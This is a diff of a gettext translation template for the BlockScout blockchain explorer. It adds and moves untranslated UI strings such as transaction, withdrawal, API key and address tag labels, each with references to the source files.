lib/block_scout_web/templates/chain/_block.html.eex:11 #, elixir-autogen, elixir-format msgid "%{count} Transactions" msgstr "" +#: lib/block_scout_web/views/address_token_balance_view.ex:10 +#: lib/block_scout_web/views/address_token_balance_view.ex:10 +#, elixir-autogen, elixir-format +msgid "%{count} token" +msgid_plural "%{count} tokens" +msgstr[0] "" +msgstr[1] "" + +#: lib/block_scout_web/templates/block/_tile.html.eex:29 +#: lib/block_scout_web/templates/block/_tile.html.eex:29 +#, elixir-autogen, elixir-format +msgid "%{count} transaction" +msgid_plural "%{count} transactions" +msgstr[0] "" +msgstr[1] "" + +#: lib/block_scout_web/templates/transaction/_actions.html.eex:101 +#: lib/block_scout_web/templates/transaction/_actions.html.eex:101 +#, elixir-autogen, elixir-format +msgid "%{qty} of Token ID [%{link_to_id}]" +msgstr "" + +#: lib/block_scout_web/templates/chain/_metatags.html.eex:2 #: lib/block_scout_web/templates/chain/_metatags.html.eex:2 #, elixir-autogen, elixir-format msgid "%{subnetwork} %{network} Explorer" msgstr "" +#: lib/block_scout_web/templates/layout/_default_title.html.eex:2 #: lib/block_scout_web/templates/layout/_default_title.html.eex:2 #, elixir-autogen, elixir-format msgid "%{subnetwork} Explorer - BlockScout" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:349 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:11 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:11 +#, elixir-autogen, elixir-format +msgid "%{withdrawals_count} withdrawals processed and %{withdrawals_sum} withdrawn." +msgstr "" + +#: lib/block_scout_web/views/transaction_view.ex:375 +#: lib/block_scout_web/views/transaction_view.ex:375 #, elixir-autogen, elixir-format msgid "(Awaiting internal transactions for status)" msgstr "" #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:59 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:59 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:70 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:70 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:82 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:82 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:104 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:104 #, elixir-autogen, elixir-format msgid "(query)" msgstr "" -#: lib/block_scout_web/templates/layout/app.html.eex:223 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex:4 +#, elixir-autogen, elixir-format +msgid ") may be added for each contract. Click the Add Library button to add an additional one." +msgstr "" + +#: lib/block_scout_web/templates/layout/app.html.eex:93 +#: lib/block_scout_web/templates/layout/app.html.eex:93 #, elixir-autogen, elixir-format msgid "- We're indexing this chain right now. Some of the counts may be inaccurate." msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:195 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:8 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:8 +#, elixir-autogen, elixir-format +msgid "1. If you have just submitted this transaction please wait for at least 30 seconds before refreshing this page." +msgstr "" + +#: lib/block_scout_web/templates/transaction/not_found.html.eex:9 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:9 +#, elixir-autogen, elixir-format +msgid "2. It could still be in the TX Pool of a different node, waiting to be broadcasted." +msgstr "" + +#: lib/block_scout_web/templates/transaction/not_found.html.eex:10 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:10 +#, elixir-autogen, elixir-format +msgid "3. During times when the network is busy (i.e during ICOs) it can take a while for your transaction to propagate through the network and for us to index it." +msgstr "" + +#: lib/block_scout_web/templates/transaction/not_found.html.eex:11 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:11 +#, elixir-autogen, elixir-format +msgid "4. If it still does not show up after 1 hour, please check with your sender/exchange/wallet/transaction provider for additional information." +msgstr "" + +#: lib/block_scout_web/templates/block/overview.html.eex:197 +#: lib/block_scout_web/templates/block/overview.html.eex:197 #, elixir-autogen, elixir-format msgid "64-bit hash of value verifying proof-of-work (note: null for POA chains)." msgstr "" #: lib/block_scout_web/templates/block/overview.html.eex:97 +#: lib/block_scout_web/templates/block/overview.html.eex:97 +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:21 +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:21 #, elixir-autogen, elixir-format msgid "A block producer who successfully included the block onto the blockchain." msgstr "" +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#, elixir-autogen, elixir-format +msgid "A confirmation email was sent to" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_first.html.eex:4 +#, elixir-autogen, elixir-format +msgid "A library name called in the .sol file. Multiple libraries (up to " +msgstr "" + +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:73 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:73 #, elixir-autogen, elixir-format msgid "A string with the name of the action to be invoked." msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:62 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:62 #, elixir-autogen, elixir-format msgid "A string with the name of the module to be invoked." msgstr "" +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:24 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:24 +#, elixir-autogen, elixir-format +msgid "ABI" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_constructor_args.html.eex:3 #: lib/block_scout_web/templates/address_contract_verification_common_fields/_constructor_args.html.eex:3 #, elixir-autogen, elixir-format msgid "ABI-encoded Constructor Arguments (if required by the contract)" msgstr "" +#: lib/block_scout_web/templates/api_docs/index.html.eex:4 #: lib/block_scout_web/templates/api_docs/index.html.eex:4 #, elixir-autogen, elixir-format msgid "API Documentation" msgstr "" +#: lib/block_scout_web/templates/api_docs/_metatags.html.eex:4 #: lib/block_scout_web/templates/api_docs/_metatags.html.eex:4 #, elixir-autogen, elixir-format msgid "API endpoints for the %{subnetwork}" msgstr "" +#: lib/block_scout_web/templates/api_docs/_metatags.html.eex:2 #: lib/block_scout_web/templates/api_docs/_metatags.html.eex:2 #, elixir-autogen, elixir-format msgid "API for the %{subnetwork} - BlockScout" msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:95 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:7 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:7 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:13 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:13 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:14 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:14 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:29 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:29 +#, elixir-autogen, elixir-format +msgid "API key" +msgstr "" + +#: lib/block_scout_web/templates/account/api_key/index.html.eex:7 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:7 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:16 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:16 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:18 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:18 +#, elixir-autogen, elixir-format +msgid "API keys" +msgstr "" + +#: lib/block_scout_web/templates/layout/_topnav.html.eex:106 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:106 #, elixir-autogen, elixir-format msgid "APIs" msgstr "" +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:24 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:24 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:24 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:24 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:69 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:69 #, elixir-autogen, elixir-format msgid "Action" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:417 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:25 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:25 +#, elixir-autogen, elixir-format +msgid "Actions" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:484 +#: lib/block_scout_web/templates/transaction/overview.html.eex:484 #, elixir-autogen, elixir-format +msgid "Actual gas amount used by the transaction on L2." +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:488 +#: lib/block_scout_web/templates/transaction/overview.html.eex:488 +#, elixir-autogen, elixir-format, fuzzy msgid "Actual gas amount used by the transaction." msgstr "" -#: lib/block_scout_web/templates/layout/_add_chain_to_mm.html.eex:11 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:7 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:7 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:8 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:8 +#: lib/block_scout_web/templates/layout/_add_chain_to_mm.html.eex:10 +#: lib/block_scout_web/templates/layout/_add_chain_to_mm.html.eex:10 #, elixir-autogen, elixir-format msgid "Add" msgstr "" +#: lib/block_scout_web/templates/account/api_key/index.html.eex:44 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:44 +#, elixir-autogen, elixir-format +msgid "Add API key" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:86 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:86 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:76 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:76 +#, elixir-autogen, elixir-format +msgid "Add Contract Libraries" +msgstr "" + +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:44 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:44 +#, elixir-autogen, elixir-format +msgid "Add Custom ABI" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:97 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:97 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:87 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:87 +#, elixir-autogen, elixir-format +msgid "Add Library" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:38 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:38 +#, elixir-autogen, elixir-format +msgid "Add address" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:7 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:7 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:37 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:37 +#, elixir-autogen, elixir-format +msgid "Add address tag" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:7 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Add address to the Watch list" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:7 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:7 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:37 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:37 +#, elixir-autogen, elixir-format +msgid "Add transaction tag" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:11 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:11 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:23 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:23 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:23 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:23 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:12 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:12 +#: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:16 #: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:16 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:20 -#: lib/block_scout_web/views/address_view.ex:104 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_address.html.eex:4 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_library_address.html.eex:4 +#: lib/block_scout_web/templates/tokens/index.html.eex:34 +#: lib/block_scout_web/templates/tokens/index.html.eex:34 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:29 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:29 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:34 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:34 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:60 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:60 +#: lib/block_scout_web/views/address_view.ex:110 +#: lib/block_scout_web/views/address_view.ex:110 #, elixir-autogen, elixir-format msgid "Address" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:211 +#: lib/block_scout_web/templates/transaction/overview.html.eex:263 +#: lib/block_scout_web/templates/transaction/overview.html.eex:263 #, elixir-autogen, elixir-format msgid "Address (external or contract) receiving the transaction." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:194 +#: lib/block_scout_web/templates/transaction/overview.html.eex:245 +#: lib/block_scout_web/templates/transaction/overview.html.eex:245 #, elixir-autogen, elixir-format msgid "Address (external or contract) sending the transaction." msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:167 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:10 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:10 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:7 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:7 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:16 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:16 +#, elixir-autogen, elixir-format +msgid "Address Tags" +msgstr "" + +#: lib/block_scout_web/templates/address/overview.html.eex:151 +#: lib/block_scout_web/templates/address/overview.html.eex:151 #, elixir-autogen, elixir-format msgid "Address balance in" msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:50 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:51 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:51 #, elixir-autogen, elixir-format msgid "Address of the token contract" msgstr "" +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:7 +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Address used in token mintings and burnings." +msgstr "" + +#: lib/block_scout_web/templates/address/index.html.eex:5 #: lib/block_scout_web/templates/address/index.html.eex:5 #, elixir-autogen, elixir-format msgid "Addresses" msgstr "" +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:38 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:38 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:35 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:35 +#, elixir-autogen, elixir-format +msgid "Age" +msgstr "" + +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:26 #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:26 #: lib/block_scout_web/templates/address_token_transfer/index.html.eex:28 +#: lib/block_scout_web/templates/address_token_transfer/index.html.eex:28 #: lib/block_scout_web/templates/address_transaction/index.html.eex:22 -#: lib/block_scout_web/templates/layout/_topnav.html.eex:77 -#: lib/block_scout_web/views/address_internal_transaction_view.ex:11 -#: lib/block_scout_web/views/address_token_transfer_view.ex:11 -#: lib/block_scout_web/views/address_transaction_view.ex:11 +#: lib/block_scout_web/templates/address_transaction/index.html.eex:22 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:88 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:88 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:20 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:20 +#: lib/block_scout_web/views/address_internal_transaction_view.ex:12 +#: lib/block_scout_web/views/address_internal_transaction_view.ex:12 +#: lib/block_scout_web/views/address_token_transfer_view.ex:12 +#: lib/block_scout_web/views/address_token_transfer_view.ex:12 +#: lib/block_scout_web/views/address_transaction_view.ex:12 +#: lib/block_scout_web/views/address_transaction_view.ex:12 +#: lib/block_scout_web/views/verified_contracts_view.ex:13 +#: lib/block_scout_web/views/verified_contracts_view.ex:13 #, elixir-autogen, elixir-format msgid "All" msgstr "" +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:13 #: lib/block_scout_web/templates/smart_contract/_functions.html.eex:13 #, elixir-autogen, elixir-format msgid "All functions displayed below are from ABI of that contract. In order to verify current contract, proceed with" msgstr "" +#: lib/block_scout_web/templates/address_contract/index.html.eex:27 #: lib/block_scout_web/templates/address_contract/index.html.eex:27 #, elixir-autogen, elixir-format msgid "All metadata displayed below is from that contract. In order to verify current contract, click" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:192 +#: lib/block_scout_web/templates/address/overview.html.eex:176 +#: lib/block_scout_web/templates/address/overview.html.eex:176 #, elixir-autogen, elixir-format msgid "All tokens in the account and total value." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:403 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:41 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:41 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:32 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:32 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:38 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:38 +#, elixir-autogen, elixir-format, fuzzy +msgid "Amount" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:469 +#: lib/block_scout_web/templates/transaction/overview.html.eex:469 #, elixir-autogen, elixir-format msgid "Amount of" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:236 +#: lib/block_scout_web/templates/block/overview.html.eex:238 +#: lib/block_scout_web/templates/block/overview.html.eex:238 #, elixir-autogen, elixir-format msgid "Amount of distributed reward. Miners receive a static block reward + Tx fees + uncle fees." msgstr "" +#: lib/block_scout_web/templates/internal_server_error/index.html.eex:8 +#: lib/block_scout_web/templates/internal_server_error/index.html.eex:8 +#, elixir-autogen, elixir-format +msgid "An unexpected error has occurred. Try reloading the page, or come back soon and try again." +msgstr "" + +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:15 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:15 #, elixir-autogen, elixir-format msgid "Anything not in this list is not supported. Click on the method to be taken to the documentation for that method, and check the notes section for any potential differences." msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:123 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:134 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:134 #, elixir-autogen, elixir-format msgid "Apps" msgstr "" +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:21 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:21 #, elixir-autogen, elixir-format msgid "Average" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:100 +#: lib/block_scout_web/templates/chain/show.html.eex:102 +#: lib/block_scout_web/templates/chain/show.html.eex:102 #, elixir-autogen, elixir-format msgid "Average block time" msgstr "" +#: lib/block_scout_web/templates/account/api_key/form.html.eex:25 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:25 +#, elixir-autogen, elixir-format +msgid "Back to API keys (Cancel)" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:24 +#: lib/block_scout_web/templates/account/tag_address/form.html.eex:24 +#, elixir-autogen, elixir-format +msgid "Back to Address Tags (Cancel)" +msgstr "" + +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:30 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:30 +#, elixir-autogen, elixir-format +msgid "Back to Custom ABI (Cancel)" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:24 +#: lib/block_scout_web/templates/account/tag_transaction/form.html.eex:24 +#, elixir-autogen, elixir-format +msgid "Back to Transaction Tags (Cancel)" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:81 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:81 +#, elixir-autogen, elixir-format +msgid "Back to Watch list (Cancel)" +msgstr "" + +#: lib/block_scout_web/templates/error422/index.html.eex:9 +#: lib/block_scout_web/templates/error422/index.html.eex:9 +#: lib/block_scout_web/templates/internal_server_error/index.html.eex:9 +#: lib/block_scout_web/templates/internal_server_error/index.html.eex:9 +#: lib/block_scout_web/templates/page_not_found/index.html.eex:9 #: lib/block_scout_web/templates/page_not_found/index.html.eex:9 -#: lib/block_scout_web/templates/transaction/not_found.html.eex:30 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:13 +#: lib/block_scout_web/templates/transaction/not_found.html.eex:13 #, elixir-autogen, elixir-format -msgid "Back Home" +msgid "Back to home" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:168 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:24 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:24 +#: lib/block_scout_web/templates/address/overview.html.eex:152 +#: lib/block_scout_web/templates/address/overview.html.eex:152 #: lib/block_scout_web/templates/address_token/overview.html.eex:51 +#: lib/block_scout_web/templates/address_token/overview.html.eex:51 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:63 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:63 #, elixir-autogen, elixir-format msgid "Balance" msgstr "" +#: lib/block_scout_web/templates/transaction_state/index.html.eex:40 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:40 +#, elixir-autogen, elixir-format +msgid "Balance after" +msgstr "" + +#: lib/block_scout_web/templates/transaction_state/index.html.eex:37 +#: lib/block_scout_web/templates/transaction_state/index.html.eex:37 +#, elixir-autogen, elixir-format +msgid "Balance before" +msgstr "" + +#: lib/block_scout_web/templates/address_coin_balance/index.html.eex:14 #: lib/block_scout_web/templates/address_coin_balance/index.html.eex:14 #, elixir-autogen, elixir-format msgid "Balances" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:207 +#: lib/block_scout_web/templates/block/overview.html.eex:209 +#: lib/block_scout_web/templates/block/overview.html.eex:209 #, elixir-autogen, elixir-format msgid "Base Fee per Gas" msgstr "" +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:5 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:5 #: lib/block_scout_web/templates/api_docs/index.html.eex:5 +#: lib/block_scout_web/templates/api_docs/index.html.eex:5 #, elixir-autogen, elixir-format msgid "Base URL:" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:438 +#: lib/block_scout_web/templates/withdrawal/_metatags.html.eex:2 +#: lib/block_scout_web/templates/withdrawal/_metatags.html.eex:2 +#, elixir-autogen, elixir-format +msgid "Beacon chain withdrawals - %{subnetwork} Explorer" +msgstr "" + +#: lib/block_scout_web/templates/withdrawal/_metatags.html.eex:7 +#: lib/block_scout_web/templates/withdrawal/_metatags.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Beacon chain, Withdrawals, %{subnetwork}, %{coin}" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:545 +#: lib/block_scout_web/templates/transaction/overview.html.eex:545 #, elixir-autogen, elixir-format msgid "Binary data included with the transaction. See input / logs below for additional info." msgstr "" #: lib/block_scout_web/templates/address_coin_balance/_coin_balances.html.eex:8 +#: lib/block_scout_web/templates/address_coin_balance/_coin_balances.html.eex:8 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:35 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:35 #: lib/block_scout_web/templates/block/overview.html.eex:29 -#: lib/block_scout_web/templates/transaction/overview.html.eex:153 +#: lib/block_scout_web/templates/block/overview.html.eex:29 +#: lib/block_scout_web/templates/transaction/overview.html.eex:161 +#: lib/block_scout_web/templates/transaction/overview.html.eex:161 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:29 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:29 #, elixir-autogen, elixir-format msgid "Block" msgstr "" +#: lib/block_scout_web/templates/block/_link.html.eex:2 #: lib/block_scout_web/templates/block/_link.html.eex:2 #: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:32 +#: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:32 +#: lib/block_scout_web/templates/tokens/transfer/_token_transfer.html.eex:43 #: lib/block_scout_web/templates/tokens/transfer/_token_transfer.html.eex:43 #, elixir-autogen, elixir-format msgid "Block #%{number}" msgstr "" +#: lib/block_scout_web/templates/block/_metatags.html.eex:3 #: lib/block_scout_web/templates/block/_metatags.html.eex:3 #, elixir-autogen, elixir-format msgid "Block %{block_number} - %{subnetwork} Explorer" msgstr "" +#: lib/block_scout_web/templates/block_transaction/404.html.eex:7 #: lib/block_scout_web/templates/block_transaction/404.html.eex:7 #, elixir-autogen, elixir-format msgid "Block Details" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:53 #: lib/block_scout_web/templates/block/overview.html.eex:53 #, elixir-autogen, elixir-format msgid "Block Height" msgstr "" -#: lib/block_scout_web/templates/layout/app.html.eex:43 +#: lib/block_scout_web/templates/layout/app.html.eex:47 +#: lib/block_scout_web/templates/layout/app.html.eex:47 #, elixir-autogen, elixir-format msgid "Block Mined, awaiting import..." msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:33 +#: lib/block_scout_web/views/transaction_view.ex:34 +#: lib/block_scout_web/views/transaction_view.ex:34 #, elixir-autogen, elixir-format msgid "Block Pending" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:158 #: lib/block_scout_web/templates/block/overview.html.eex:158 #, elixir-autogen, elixir-format msgid "Block difficulty for miner, used to calibrate block generation time (Note: constant in POA based networks)." msgstr "" +#: lib/block_scout_web/views/block_transaction_view.ex:15 #: lib/block_scout_web/views/block_transaction_view.ex:15 #, elixir-autogen, elixir-format msgid "Block not found, please try again later." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:152 +#: lib/block_scout_web/templates/transaction/overview.html.eex:203 +#: lib/block_scout_web/templates/transaction/overview.html.eex:203 +#, elixir-autogen, elixir-format, fuzzy +msgid "Block number containing the transaction on L1." +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:160 +#: lib/block_scout_web/templates/transaction/overview.html.eex:160 #, elixir-autogen, elixir-format msgid "Block number containing the transaction." msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:275 +#: lib/block_scout_web/templates/address/overview.html.eex:259 +#: lib/block_scout_web/templates/address/overview.html.eex:259 #, elixir-autogen, elixir-format msgid "Block number in which the address was updated." msgstr "" +#: lib/block_scout_web/templates/chain/_metatags.html.eex:4 #: lib/block_scout_web/templates/chain/_metatags.html.eex:4 #, elixir-autogen, elixir-format msgid "BlockScout provides analytics data, API, and Smart Contract tools for the %{subnetwork}" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:153 #: lib/block_scout_web/templates/layout/_topnav.html.eex:29 -#: lib/block_scout_web/templates/layout/_topnav.html.eex:33 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:29 +#, elixir-autogen, elixir-format +msgid "Blockchain" +msgstr "" + +#: lib/block_scout_web/templates/chain/show.html.eex:156 +#: lib/block_scout_web/templates/chain/show.html.eex:156 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:34 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:34 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:38 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:38 #, elixir-autogen, elixir-format msgid "Blocks" msgstr "" -#: lib/block_scout_web/templates/layout/app.html.eex:42 +#: lib/block_scout_web/templates/layout/app.html.eex:46 +#: lib/block_scout_web/templates/layout/app.html.eex:46 #, elixir-autogen, elixir-format msgid "Blocks Indexed" msgstr "" -#: lib/block_scout_web/templates/address/_tabs.html.eex:48 -#: lib/block_scout_web/templates/address/overview.html.eex:293 +#: lib/block_scout_web/templates/address/_tabs.html.eex:56 +#: lib/block_scout_web/templates/address/_tabs.html.eex:56 +#: lib/block_scout_web/templates/address/overview.html.eex:277 +#: lib/block_scout_web/templates/address/overview.html.eex:277 +#: lib/block_scout_web/templates/address_validation/index.html.eex:11 #: lib/block_scout_web/templates/address_validation/index.html.eex:11 -#: lib/block_scout_web/views/address_view.ex:371 +#: lib/block_scout_web/views/address_view.ex:362 +#: lib/block_scout_web/views/address_view.ex:362 #, elixir-autogen, elixir-format msgid "Blocks Validated" msgstr "" +#: lib/block_scout_web/templates/layout/app.html.eex:48 +#: lib/block_scout_web/templates/layout/app.html.eex:48 +#, elixir-autogen, elixir-format +msgid "Blocks With Internal Transactions Indexed" +msgstr "" + +#: lib/block_scout_web/templates/layout/_footer.html.eex:22 #: lib/block_scout_web/templates/layout/_footer.html.eex:22 #, elixir-autogen, elixir-format msgid "Blockscout is a tool for inspecting and analyzing EVM based blockchains. Blockchain explorer for Ethereum Networks." msgstr "" +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:8 +#: lib/block_scout_web/templates/transaction_state/_state_change.html.eex:8 +#, elixir-autogen, elixir-format +msgid "Burn address" +msgstr "" + +#: lib/block_scout_web/templates/block/_tile.html.eex:64 #: lib/block_scout_web/templates/block/_tile.html.eex:64 -#: 